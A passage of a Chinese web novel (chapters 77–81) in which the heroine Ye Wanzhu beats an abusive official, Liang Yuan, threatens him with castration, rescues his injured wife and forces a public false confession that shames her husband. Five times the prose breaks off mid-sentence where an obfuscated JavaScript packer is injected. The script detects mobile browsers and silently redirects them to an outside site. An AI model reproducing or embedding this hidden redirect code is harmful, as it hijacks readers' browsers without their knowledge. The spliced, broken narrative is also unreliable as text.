不等他发作,叶晚竹便凉凉地道,“否则,不敢确定您的身份,我这铺子也没法招待。” 无缘无故就想跑到她的地方来撒野? 叶晚竹走到廊下,眼神十分冰冷。 黑脸汉子从鼻子里重重地喷了一口气。 “本官是太仆寺少卿,梁源!” 他身高八尺,体型壮硕,居高临下地看着叶晚竹,眼底全是挑衅。 “景平王妃,你对本官夫人——” “太仆寺少卿官列四品,见一品诰命夫人,为何不行礼?” 又一次打断了梁大人未说完的话,叶晚竹轻笑一声。 “梁大人,你好大的胆子。” 梁源的黑脸顿时一僵。 “这位少卿大人,竟然连身份品秩都不懂,我看一定是假冒的!”书画配合着皱了皱鼻子,“来人,将他拿下丢出去!” 虎子等人早就忍不住了,闻言就要上前! 梁源却手臂一挥,顷刻间便将几个冲在前面的伙计擂飞出去! “王妃这是打算以权压人?”他扭头瞪着叶晚竹,“你若不谈,本官便只能禀明圣上,请圣上下旨降罪王妃,好还我梁家一个安生!” “以权压人?” 他态度越发嚣张,叶晚竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484618|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深吸一口气,反手抄起已经闲了不少时日的金杖。 “你这话未免说得太早了!” 将金杖舞得猎猎生风,叶晚竹一杖子抽上梁源的嘴! 一寸长一寸强,梁源伸长的手臂根本没有碰到叶晚竹的机会,便被抽了个正着! 他捂着口鼻后退两步,鲜血滴滴落在地上。 “你,你竟然当街伤人!”他含糊不清地喊着。 叶晚竹提起金杖又抽了下去。 “梁大人,要是我没有记错,你就是赵夫人那往家里接连抬了五房小妾的夫君吧?” “负心汉当得够了,想跑到外面来发疯?问问我手里的杖子同不同意!” “赵夫人是个心软好说话的,你还真当自己神勇无敌呢?” 这位梁大人开口说了几句话,叶晚竹才认出了他的身份。 不仅是赵夫人的夫君,梁源大人和萧子景之间的来往也不少。 太仆寺负责牧养和管理马匹,在叶晚竹的记忆中,前世每逢年节,梁大人府上便会给王府送来丰厚的节礼。 叶晚竹先前没有见过这位梁大人的真容,也没把赵夫人和他联系起来。 如今一看,和萧子景关系密切之人,果然是臭味相投! 一样的遭人嫌弃! 叶晚竹手上又使出几分力道,梁源见状躲闪的动作变得更快了。 他有武艺傍身,又带着家丁,一番抽打下来,下人们替他挨了不少下,梁源本人倒是没怎么受伤。 累得气喘吁吁,梁大人叉着腰看向叶晚竹,“景平王妃如此不讲道理,快将她拿下,送到宫中请圣上发落!” 他说话还有些含糊,但那神气活现的模样,好像自己才是**那一方似的。 莫说站在院中的隐风虎子等人,就连梁府的家丁都眼角抽搐。 景平王妃拿的是圣上御赐的杖子,她要**,圣上真的会管吗? 况且,好像是自家老爷先对王妃不敬的…… “还不快动手啊!” 梁源还在叫嚣,廊下,书画的尖叫声却也在同时响起。 “王妃?王妃您怎么了——” 第七十七章 打了我的人,还想跑? 叶晚竹再醒过来的时候,人已经回到了方才屋中的床上。 眼前仍在一阵阵地发黑,她费力地支起身子。 “王妃您醒了?” 书画的声音从耳边传来,紧接着身后被塞进了柔软的靠枕。 挣扎着坐起来,叶晚竹按着还在晕眩的脑袋,“我怎么了?” 她开口时声音也十分虚弱。 “方才您正在和那位梁大人说话,忽然身子一软就晕倒了。”书画心有余悸,“奴婢给您喂了一颗药,王妃,您现在感觉怎么样?” 叶晚竹又慢慢地眨了眨眼,先前的记忆这才回到脑海当中。 她有气无力地摇摇头。 “已经没事了。” 晕眩来得快,去得也快,叶晚竹这会儿已经恢复了正常。 她这模样,想来是旧疾又犯了。 之前想好要找些靠谱的大夫调理身子,可叶晚竹已经换了几幅药方,却还是收效甚微。 看来还得再多寻几个大夫才是。 “梁源呢?” 深吸一口气,叶晚竹忽然觉得院子里安静得有些过分。 别说是找事的梁源,就连前院铺子的声音都消失了。 书画皱着眉头,小脸绷得紧紧的。 “那梁大人简直是土匪进村!见着王妃忽然晕倒,转身就要跑,虎子陈生他们上去拦人,都被打得不轻!” “不仅如此,梁大人闯进来的时候,就,就让家丁在铺子里又砸又摔,把店里弄得一片狼藉!” 叶晚竹眼底一暗,止不住地磨了磨牙。 方才一打照面,她就觉得这梁大人是个混不吝的。 果然如此! “虎子他们怎么样,伤得重吗?” “虎子会些拳脚还好,陈生和铁牛都摔断了骨头,还在接骨;曼娘也被推了一把,扭了脚!” 书画越发义愤填膺起来。 趁着王妃昏倒,就这样趁人之危! 无耻小人! 叶晚竹的胸膛也沉重地起伏着。 片刻后她又冷笑起来。 “不过是太仆寺少卿,无缘无故,哪来的泼天胆子,到我面前撒野?” 自从萧子景在昭德帝那里领了板子,已经很久没人敢如此挑衅叶晚竹了。 而巧得很,梁源和萧子景又是一丘之貉…… “走,去梁府!”叶晚竹恢复了气力,翻身下床。 敢动她的人,她的铺子,无论梁源是自己发狂,还是给什么人当狗,都要付出代价! 蕴秀阁前院遭到打砸,一片狼藉,客人们也都跑了个干干净净。 今天这生意肯定是没办法再做下去,让人暂时关门歇业,叶晚竹这才带着隐风隐川,还有被砸青了一只眼睛的虎子往梁府去。 梁家府邸在京中一条清净的小巷里,叶晚竹一行到的时候正是晌午,大门前只留了一个家丁。 看见叶晚竹从车上下来,他顿时瞪大了双眼。 “景,景平王妃……” 叶晚竹下车后也认出了此人,正是跟着梁源去蕴秀阁**的其中之一。 但很快她又有了新的发现。 靠在梁府门前一棵大树下的马车,正是萧子景的。 真是好巧啊。 勾了勾嘴角,叶晚竹朝前走去。 她一身气势汹汹,那家丁见势不妙,转头拔腿就往院里跑,顺手扯着大门想关上。 虎子骂了一声,追过去一脚将门踹开! “跑什么?刚才不是很神气吗?” 几个人围着他们打,以多欺少的本事呢? 虎子狠狠一拳砸上这个家丁的脸! “啊!” 梁府家丁的嚎叫声响起,惊动了院中更多的人。 梁源穿着居家的衣袍,匆匆从花厅跑出来,迎面便撞上叶晚竹大步流星的模样。 “景平王妃这是要做什——嗷!” 一句话还没说完,叶晚竹一巴掌狠狠扇上了梁源的脸! 他皮肤黝黑,也被这一巴掌扇得泛起了红晕,整个人更是愣住。 还从来没人敢打他的脸! 等梁源咆哮着把这句话吼出来,叶晚竹本已拎起金杖,却又放了下去。 她反手又是一记耳光扇了过去。 “那说明你是井底之蛙,需要本王妃让你开开眼!” 梁源还要再说,叶晚竹抄起金杖,一把抽在他脸上! “现在不仅有人敢打你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492737|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,还是三次,梁大人,你能怎么样?” 语气阴鸷,叶晚竹收回力道,不轻不重地用杖子头拍了拍梁源的脸。 “来,让我瞧瞧,一个只敢趁虚而入的怂货,现在打算如何大发神威?” 梁源显然不是个能忍气吞声的,闻言眼睛都气红了,挥起拳头就要朝叶晚竹扑来。 叶晚竹撤开半步,金杖劈头盖脸抽下,带起破空风声! “打我的人,砸我的铺子,梁大人,谁给你的胆子?” 叶晚竹眼底的火光变得越发旺盛。 虎子一脸狼狈,却是蕴秀阁受伤最轻的人,陈生曼娘他们就更不必说了。 这笔账,她怎么能不讨回来? 叶晚竹手上的力气越发加重,梁源想跑,却被隐风一脚踹弯膝盖,跪在地上动弹不得。 饶是如此,他也没有停下口中不干不净的谩骂。 “**?下作?臭娘儿们?” 叶晚竹重复着梁大人口中的词语,手下的动作仍是不停。 “继续说,让我听听,梁大人还会什么?” 她倒是要看看,梁源这张讨嫌的嘴里还能吐出什么脏东西来! 而且…… “不瞒大人说,这些不堪入耳的腌臜,本王妃前一阵子刚刚听到过,若是我没有猜错,这段时间,萧延没少来作客吧?” 打得有些手酸,叶晚竹终于撤开杖子,转而低头看向仍旧怒气冲冲的梁源。 萧子景虽然也是个下作胚子,但多少还要点脸皮,从他那里,萧延学不到这些骂人的话。 而眼前这位,显然就是那个没皮没脸,不知羞耻的了。 “是又怎样!” 梁大人双目圆睁,凸起的眼球越发明显。 他怒吼着,俨然是个根深蒂固的二傻子模样。 “你**自己的夫君和儿子,连饱饭都不让吃,我绝不会眼睁睁看着你这贱妇残害我大梁的功臣!” 叶晚竹静静地看了他片刻,忽然扑哧乐出了声。 “梁大人这番话听上去,真是好一个贤妻良母的典范啊。” “不过男人可当不了妻子母亲。” “隐川!你这就替梁大人净身,满足他的愿望!” 第七十八章 送大人入九千岁门下! “什——” 梁源大人怎么也想不到会听见这样的话,双眼一瞪,可还没等回过神来,便被隐川一脚踢倒在地! 眼前黑影压下,腰带也被揪住,梁源着急忙慌地护住自己的下半身。 “你敢,你敢!” 透过隐川的大半个身子,梁源声嘶力竭地朝着叶晚竹狂吼。 “本官是太仆寺少卿,朝廷的肱骨栋梁!你一个疯婆子,没权利碰我!让你的人退后!” 梁源大人的武艺在隐川面前显然不够看,一句话还没说完,裤子先眼瞅着要保不住了。 他死死揪住袍子下摆,“该死的奴才,给本官滚!” “隐川,”叶晚竹冷笑着看向眼前的混乱,“告诉他,你是什么人?” “小的不才,替九千岁当过差,如今东厂正缺得力人手,梁大人武艺高超,胆识过人,区区太仆寺少卿,实在屈才。” 隐川板着他那一本正经的脸,语气无波无澜,看不出一点戏弄玩笑的痕迹。 “有劳梁大人忍耐片刻,事后,小的自当引荐您入九千岁麾下!” 梁源俨然已经傻了眼。 这就是谢无咎那阉贼派给景平王妃的手下? 瞧着也不像太监啊。 而且怎么这么听景平王妃的话? 思索间,腿上忽然一凉! 梁源急急回神,只看到自己一双裤腿被隐川扯下,毫不留情地抛到一旁去了。 “救命,救命啊——!” 景平王妃不一定能阉了他,但东厂的人一定能啊! 他不要当太监! 使出吃奶的力气攥紧还没被扯断的腰带,梁源抵死挣扎,活像条刚被按在砧板上的大鲫鱼。 “此等好事,梁大人怎么如此惊慌啊?” 叶晚竹这时候在一旁拍起了巴掌。 “都怪本王妃疏忽,只想着家长里短,忘了梁大人志向远大,多亏隐川有心,”她笑意吟吟,“等去了东厂,大人白日可在九千岁麾下建功立业,晚上回府再伺候景平王一家老小,如此,内外兼顾,真是让人羡慕啊。” “你这个**!” 梁源死死盯着叶晚竹,眼底满是憎恨,似乎要将她撕成碎片。 竟敢如此辱他! 叶晚竹回以挑衅意味十足的笑容。 “梁大人哪里不满意?没有?那就赶紧动手吧——” 并没打算让梁源回答,叶晚竹一口气把话说了下去,可惜话音未落,一个身影便急匆匆地从花厅里冲了出来。 “住手!” 萧子景身穿朝服,一脸惊惶地出现在廊下。 “叶晚竹!你在王府还没发够疯,竟然跑到外面来撒野了!你,你知道你在干什么吗!” 萧子景惊怒交加,一张脸青了又白,白了又红。 他眼底满是难堪。 如今圣上罚他的闭门思过虽然提前结束了,也让萧子景回到朝堂之上,可俸禄却没松口还给他! 没有进账,叶晚竹还在催逼他还上银子,萧子景早就债台高筑,兜比脸还干净! 越发穷困,他打秋风的频率也越发变高。 萧子景从前名不见经传,立功封王后回京才有些溜须拍马之人上来奉承,他被昭德帝责罚后,这些人又散了个干净。 剩下的一些又在他借银子和打秋风中消耗不少,几个月下来,只剩区区几人还愿意招待接济他。 梁源就是其中之一。 大梁唯一异姓王如今要靠同僚接济才能吃饱饭,这已经够让萧子景难堪的了,没想到,叶晚竹竟然还追到梁府来了! 还要把梁大人变成太监! 这叫什么话! 越想越气,在朝堂上受到的冷眼和嘲弄也一股股地涌现出来。 萧子景攥着拳头走向叶晚竹。 “立刻住手,朝廷命官不是你能动得起的!”他咬牙切齿地瞪着叶晚竹,“别以为有圣上庇护,你就能为所欲为!” 今天这件事,就算再闹上金銮殿,圣上也断不可能再护着叶晚竹! 萧子景忽然眸光一闪。 “你仗势欺侮朝廷官员,跟我去见圣上!” 叶晚竹如今这般嚣张,都是因为得了圣上的青眼。 若是圣上知道她行事荒唐,厌弃了她,到时候,她还不是烂泥一块? 萧子景几乎要抑制不住,伸手去扯叶晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492738|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹的手腕,“现在就跟我走!” 这可是叶晚竹亲手送上的机会! 叶晚竹手腕一翻,躲开了萧子景的拉扯。 “真是不容易啊,”她又笑了起来,“闹腾了这么长时间,终于把王爷闹出来了。” “延儿也在。” 她又看向廊下,萧延正怯怯地站在房门前,一双眼小心翼翼地瞅着叶晚竹,带着掩饰得十分蹩脚的仇恨。 萧延脸上的青紫痕迹还没有完全消失,见着叶晚竹看来立刻低下头去。 叶晚竹一笑而过,权当自己没有看见他的那点小心思,悠然开口。 “你们一家聚餐,其乐融融,我在,的确有些碍眼了。” “你在说什么鬼话?” 萧子景皱着眉头压低声音,“梁大人一片好心,却被你折辱,叶晚竹,你还配不配做人?” 此事若是传出去,他日后便更不要在朝中立足了! “一片好心?” 重复着萧子景的话,叶晚竹忽然挑了挑眉。 “我看是王爷一片痴心,无法诉诸于口吧?妾身帮你一把,怎么还落得如此埋怨?” 萧子景看上去已经完全糊涂了。 这都是什么乱七八糟的? 他张口欲言,触到叶晚竹的神情,又本能地感觉有些不对头。 叶晚竹却又接着开了口。 “王爷自打回京便没再来过我院中,纳了阮姨娘也同样冷落到一旁,整日除了窝在默言阁,就是来梁府做客,难道不是对梁大人起了什么非分之想?” “你——” 萧子景闻言眼前一黑,差点儿背过气去。 “胡说八道,你给我闭嘴!”他扯着嗓子吼了起来。 荒谬! 他怎么可能有龙阳之好! “怎么是胡说八道呢?” 叶晚竹语气疑惑,“否则的话,听到梁大人要去东厂效力,王爷这么着急做什么?” “诶呀,说起来,梁大人方才对王爷也是关怀备至,心疼万分,难道……你二人是情投意合?” 渐渐转为讶异,叶晚竹高高地扬着眉毛。 “梁大人,你说呢?” 第七十九章 一对……鸳鸳? 梁源眼前也是黑了又黑。 他什么都不想说! 这景平王妃就是个疯子! 还疯得厉害! 他堂堂八尺男儿,怎么会生出那种荒唐无稽的想法! “大人用情至深,宁愿自己吞下心意,也要保全王爷的名声,真令人敬佩。” 见他不语,叶晚竹又慢悠悠地拍起了巴掌。 “可惜,景平王还是本王妃的夫君,本王妃要脸,这个委屈,梁大人只有受着了。” “隐川,动手。”她的声音里透着无情。 王妃真要把这位梁大人阉了? 只犹豫了一息,隐川便毫不留情地扯断了梁大人的腰带! 反正有王妃顶着,实在不行,还有九千岁呢! “住手!住手!” “不要!” 梁源的惨叫和萧子景的震声同时传来。 萧子景双手紧握成拳,在叶晚竹面前垂下头去。 “你到底要怎么样?”他死死咬着后槽牙,几乎能听到咯吱咯吱的响声,“叶晚竹,你别欺人太甚了!” 若是真闹出什么事,大不了,就鱼死网破! 萧子景呼哧呼哧地喘着粗气。 与他相比,叶晚竹简直是闲庭信步,她走到一旁,不紧不慢地从书画手中取过金杖。 “跪下。” 将杖尖对准萧子景脚下的地面,叶晚竹轻轻点了点。 萧子景站着没动,脸色黑沉沉的。 “王爷不是问我要干什么吗?” “我要王爷保证,今后再也不做出这种荒唐的事情,免得给王府蒙羞,让萧家祖上颜面无光。” “否则,妾身宁愿先斩后奏,棒打了你们这对——鸳鸳?”她微妙地顿了一下,“再去圣上面前认罪。” 至于怎么斩嘛…… 叶晚竹又朝着隐川投去了一眼。 “你,你等等!” 萧子景这会儿已经慌了神,一点儿也不想闹到圣上面前去了。 若是圣上信了叶晚竹的话,他怕是要被扒掉一层皮! 又一咬牙,萧子景直挺挺地朝着叶晚竹跪了下去。 “别冲动,有话,有话好商量!”他强忍着满心的不甘。 下一刻,金杖带着熟悉的狠戾,重重抽在萧子景身上! “王爷知错就好,若是下次再犯糊涂,妾身可不会就这么算了!” 叶晚竹的嘴角噙着冷酷的笑意。 不知道这个谣言,萧子景可否满意? 她白白地被恶鬼上身,被众人避之不及那么久,只是还萧子景一个人间的把柄,不过分吧? 她觉得一点儿都不过分! 金杖重重落在萧子景身上,他不知是气得还是怕了,始终攥紧拳头,一声不吭。 叶晚竹气力不支,见状也没了再打下去的心思。 一脚将萧子景踹开,她又朝梁源走去。 “梁大人,”她转着手中的杖子,“还勾引本王妃的夫君吗?” 梁源依旧被隐川死死按在地上动弹不得,只有一双眼睛滴溜溜地转个不停。 他想摇头,想说话,却都感觉不对劲。 他什么时候勾引景平王了? 不对,什么勾引! 他是清白的!清白的! 这词好像也不对! “……” 向来自诩心直口快的梁大人这还是头一遭领教到什么叫哑口无言,哽得直伸脖子。 “王妃请回吧,日后,日后两府永不再来往!若有违背,让我天打雷劈!” 半晌过去,梁源才悻悻地道。 再和景平王来往,他的脸面和名声,一个都别想要了! “那大人可要说到做到。” 叶晚竹面上的笑意更深。 萧子景想脱离王府吃饱饭,再借外力对付她? 做梦去吧! 她一挥手,隐川应声松开梁源大人,起身站到了一旁。 骤然得了自由,梁源头晕眼花,还躺在地上半天起不了身。 这究竟是发生了什么? 事情怎么会变成现在这个样子呢? 梁大人十分想不明白。 还有……难道景平王真的对男人…… “景,景平王妃!” 就在这时,一个嬷嬷忽然从角落里跑了出来。 她浑身哆嗦着,似乎对什么畏惧至极,脚下的动作却没有半点迟缓。 一路跑到叶晚竹面前,嬷嬷咚地一声跪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497492|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 “老奴是夫人身边的人,请王妃救救夫人!”她满眼泪水。 叶晚竹略一皱眉,“是赵夫人?” “正是!” 嬷嬷连连点头,话到嘴边,却又咬了咬嘴唇,才一吐为快。 “夫人被,被老爷毒打,关在柴房,生死不知!” 先前来找叶晚竹诉苦的夫人们各有难处,但相比之下,其他几位夫人的夫君有人讲理,有人怕丢面子,有人想尽力维持后院和睦。 唯有这位梁源大人,坚决捍卫自己在府中说一不二的崇高地位。 赵夫人试着与他提及减少纳妾之事,梁大人不耐地否了;赵夫人试着硬气些说话,刚开口,梁大人的拳脚便落了下来。 这就是没什么能商量的了,赵夫人也不是泥人捏的,收拾了东西要回赵家。 不料梁大人图穷匕见。 让隐风跟着赵夫人身边的丫鬟去柴房,叶晚竹站在院中,听着嬷嬷将整件事磕磕巴巴地讲了出来。 “我家夫人已经被关了三天两夜,不知情况如何……” 嬷嬷显然是赵夫人的心腹,一番话说完,已是泣不成声。 叶晚竹一双冷眼朝着已经站起身来的梁源看去。 方才被隐川扒了裤子,也没小厮敢上前来送衣裳,梁大人这会儿光着两条腿,只有外袍能遮掩一二,手里还得捏住断成两截的腰带,免得当真衣不蔽体。 她又看了一眼被打得鼻青脸肿的萧子景。 “王爷,梁大人,您二位这是计划好了,各**妻清道,再做一对暗度陈仓的逍遥眷侣?” 叶晚竹的声音有些发沉。 今天的赵夫人,仿佛就是前世的自己。 萧子景浑身发抖,硬是克制着开口的冲动。 他看出来了,叶晚竹今天就是要把这口黑锅扣到他头上! 多说多错! 梁源也哆嗦着,不过是气的。 这该死的嬷嬷,竟然敢当着景平王妃,拆他的台! “王妃休要听这刁奴的胡言乱语!”梁大人从牙缝里挤出一句话来,“欲加之罪,何患无辞!” 他话音未落,一行丫鬟婆子便搀扶着一个人走了出来。 叶晚竹眼角一跳—— 第八十章 我不该对景平王有非分之想! 在宴会上见到赵夫人的时候,她一身锦衣华服,虽然提到家事时脸色有些不好,但还是个不折不扣的贵妇人模样。 眼下出现在叶晚竹面前的却是个憔悴不堪,满身是血的人! 若不是那嬷嬷哭喊着扑了过去,叶晚竹根本无法将这两人联系起来。 “夫人,您怎么样啊夫人?” 嬷嬷已经从丫鬟们手中将赵夫人接过,摸到满手的血迹,声音又变得越发颤抖起来。 “王妃。” 隐风上前两部,在叶晚竹面前站定。 “赵夫人身上有重伤三处,均为利器所伤,失血较多,伤口需要及时处理。” 叶晚竹点点头,已经闻到了来自赵夫人身上的血腥气。 她转头看向那嬷嬷,示意她先将赵夫人扶走。 “书画,去请个大夫过来。”叶晚竹又道。 “景平王妃这就有点多管闲事了吧?” 梁源的声音这时候又从旁边传了过来,他抬着下巴,一脸放肆地看着叶晚竹。 “这是我们梁府的事情,王妃就是权力再大,也没资格管!” 书画看着赵夫人的模样,皱起了眉。 “大人这话说的真是可笑,方才您指责我家王妃的时候义正词严,怎么不说那是我们景平王府的家务事?” 书画忿忿地瞪着梁源。 此人前言不搭后语,态度还如此嚣张,真不知道是凭何依仗! 梁源闻言却露出了堪称洋洋得意的表情。 “本官那是——” 一句话还没说完,剧痛忽然袭上,梁源捂着嘴猛地弯下腰去,痛得连声音都发不出来! 腰带轻飘飘地落在地上,他破烂的外袍被风吹动,时不时露出光裸的两条腿。 丫鬟们连忙低头垂目。 微风吹过,梁源这才反应过来,想伸手按住衣摆,掌心却满是鲜血,还有半颗红彤彤的牙。 他目眦欲裂地抬起头朝着叶晚竹看来。 叶晚竹就正大光明地站在他面前,没有半分不好意思。 不仅如此,见着梁源仇视憎恨的目光,她挥起金杖,朝着这位的脸上又狠狠甩了过去! 这一回,梁源的鼻血高高飞溅出来! “**!你这个**!给本官把她拿下!” 梁源口齿不清地狂吼着,又看向院中小厮,无奈隐风隐川一身煞气,光是几个眼神扫过,小厮们便都感到自己的腿肚子控制不住地打起了哆嗦。 “梁大人刚才是不是想说,你是个会犯浑的,所以循规蹈矩之人,就活该受你的欺负?” 倚着金杖,叶晚竹站立的动作有些懒散,眼神却很是犀利。 “不巧,本王妃最见不得有人在我面前犯浑,来一个,打一个!” 话音未落,她再一次举起了金杖。 “你为人夫君,对自己的夫人拳脚相加,却对本王妃的丈夫和儿子温情款款,梁大人,你还敢说自己没有那样的龌龊心思?” “你和萧子景蝇营狗苟,做的都是些见不得人的下作勾当,我不知道也就算了,如今闹到本王妃面前,你还有脸嚣张?” “你这么爱犯贱,正好,本王妃就爱多管闲事,我今天就看看,你能威风到什么地步!” 这一回再抽打梁源的时候,叶晚竹的眼底出现了久违的疯狂。 随着一步步改写命运,掌控景平王府,叶晚竹的心绪也日益变得平稳。 可方才赵夫人的遭遇,俨然与前世的自己一模一样! 再看着梁源那嚣张无赖的嘴脸,叶晚竹便很难分得清这到底是新仇还是旧恨了。 刚让萧子景学会安静,便又来了个不知死活的! 都不是什么好东西,活该挨打! “啊!啊啊啊!” “别打了!” “**了,**啊!” 梁源怎么也没想到,本以为事情已了,景平王妃竟然又忽然发疯起来! 落在身上的杖子一下比一下重,梁源起初还想还口,很快恐慌就从心底渐渐蔓延开来。 这景平王妃保不准是真的疯了,下手丝毫不顾及后果! 就算日后皇上知道此事会追责,他要是今天就**,那也看不着了! 打了个寒战,梁源立刻一边躲着杖子,一边认起罪来。 “我错了,我,我那是喝多了酒,一时糊涂才做下这样的事!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497493|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这样的事?” 叶晚竹手上动作不停,却问道,“哪样的事,具体说说?” 梁源咬紧了牙关才再次开口。 “对夫人动手都是我的不是——啊!” “不对。” 直接截断他的话,叶晚竹的声音带着循循善诱的哄骗,“再想想?” 那是什么? 梁源闻言愣住,思绪中断只有一霎,一脸阴沉的隐川便又走上前来,作势要将他按倒在地。 “我,我——” 心下顿时了然,梁源慌忙大吼。 “我不该对,对景平王有非分之想,更不该因此对王妃不敬!” 他算是看出来了,景平王妃最想听的就是这个! 真是个疯子! 变态! 梁源话音落下,隐川果然也停住了脚步。 他还没松上一口气,叶晚竹便又发话了。 “梁大人终于承认了,不过,大人觉得此事若是传到外面去,能有多可信?” 笑眯眯地立在梁源身前,她语气里写满了好奇。 梁源并未立刻作答,看向叶晚竹的时候正如在看一个疯子。 龙阳之事,京中也不是没有,梁源自己先前也有所耳闻。 可那些都是阴柔之人,他与景平王这么两个顶天立地的汉子摆在这儿,就算真说出去,也没人会相信! 简直是荒谬! 叶晚竹看着梁源眼底的答案,面上的笑容越发愉悦。 她抬手在梁源脸上拍了拍,拍得他的鼻血又缓缓流了出来。 “大人所想不错,”叶晚竹压低声音,“既然如此,那就只好劳烦梁大人亲自出面,将事实公之于众,好取信于人。” 这话是什么意思? 梁源听懂了,却不敢相信,瞪着一双眼睛,愣愣地看着叶晚竹。 温热的鲜血从他鼻腔涌出,顺着皮肤滑落的感觉却是一片冰凉。 “怎么,梁大人不想去?” 收回手,免得沾上此人的脏血,叶晚竹挑了挑眉。 “那本王妃就只好另想办法,平息我心头之恨了。” “隐川啊——” 第八十一章 原来景平王竟是……! 四月廿八,大梁京城又出了件稀罕事。 太仆寺少卿梁源大人衣冠不整,露着两条大腿出现在京中几条大街之上,每到人多的地方,便在一个神情阴沉的侍卫的逼迫下,开始大声疾呼。 这一听可不得了。 梁大人竟然对景平王爷有非分之想,并且正在一步步付诸实际! 不仅如此,梁大人妒忌景平王妃至极,今天早些时候,还带人砸了王妃的铺子! **,微风和煦,没有什么比热闹更好看,京中百姓很快就将梁大人现身的街道挤得水泄不通,好奇地交头接耳。 与此同时,他们也看到了跟在梁大人身后,坐在软轿上的景平王妃。 景平王妃头戴帷帽,将面容遮住,可她的软轿路过之处,却有不少人信誓旦旦地说,他们听见了王妃的低泣声。 若只是这狂放的梁大人对景平王有不轨之心,王妃生气发怒也是正常,可这哭声…… 再一看,景平王爷并未出现,而更多消息先后传来,事发之时,景平王和小世子正在梁府之中! 继续向前追溯,景平王这段时间频频到访梁府,每每总要待到天黑才肯回王府去。 原来……景平王竟然是个男女不忌的! 众人心底揣测纷纷,也没落下眼前的景象。 景平王妃坐着软轿跟在梁源大人身后,逼迫他重复着自己的所作所为,一路回到王府大门外。 那冷脸的侍卫一脚将梁大人踹倒在地,王妃的软轿旋即头也不回地进了王府。 府门关上,梁大人又在王府外跪了整整一个时辰,痛哭流涕地请景平王和王妃原谅,可王府大门却始终紧锁,不曾有任何回应。 最后还是梁府的当家主母,赵夫人身边的嬷嬷现身,带着十几个下人,声泪俱下地将梁大人“请”了回去。 “老爷啊,夫人还躺在床上生死未卜,您要请罪,也先保住夫人的性命吧!” 嬷嬷抹着眼泪,让下人硬生生将梁源架上了马车。 赵夫人为何生死未卜? 围观的百姓们几乎不用思考便能得出结论。 “畜生啊,畜生!” “不要脸皮的东西!” “丧心病狂!” “……” 王府门前空无一人,往日守门的侍卫也消失不见,众人的议论声很快就变得热闹起来。 萧子景被按着脑袋,强行站在墙后,听着外面的声音,脸色一阵青,一阵白。 隐风面无表情地伸着胳膊,直到府外的人群逐渐散去,这才松开了手中的力度。 “王爷可都听清楚了?” 后退半步,隐风的语气十分冷淡。 萧子景面上神情复杂,难堪愤怒交错而过。 “听清楚又怎么样?叶晚竹那个**,她到底要干什么?” 咬牙切齿地低吼着,萧子景这会儿还感到头脑在发懵。 他都已经顺着叶晚竹的意思承认了一切,为什么她还要把这件事闹得这么大! 他的脸面,这次是真的要被丢光了! “叶晚竹在哪儿?”萧子景下意识地就要转身离开。 他绝不允许自己的名声被这样玷污! 可还没等走出一步,隐风门神一样挡在了萧子景面前。 “王妃说了,王爷身脏心也脏,她看了恶心,命属下带王爷去好好沐浴净身。” 萧子景气得头发都要竖起来了。 他哪里脏? 梁源在外面所说的那些,分明就是叶晚竹逼的! 而她现在居然还要拿着自己编造出来的瞎话,当成真的来讲! 无耻,无耻至极! 怒火冲天,萧子景还想挣扎,却还是很快被隐风“伺候”着,往默言阁的浴房中去。 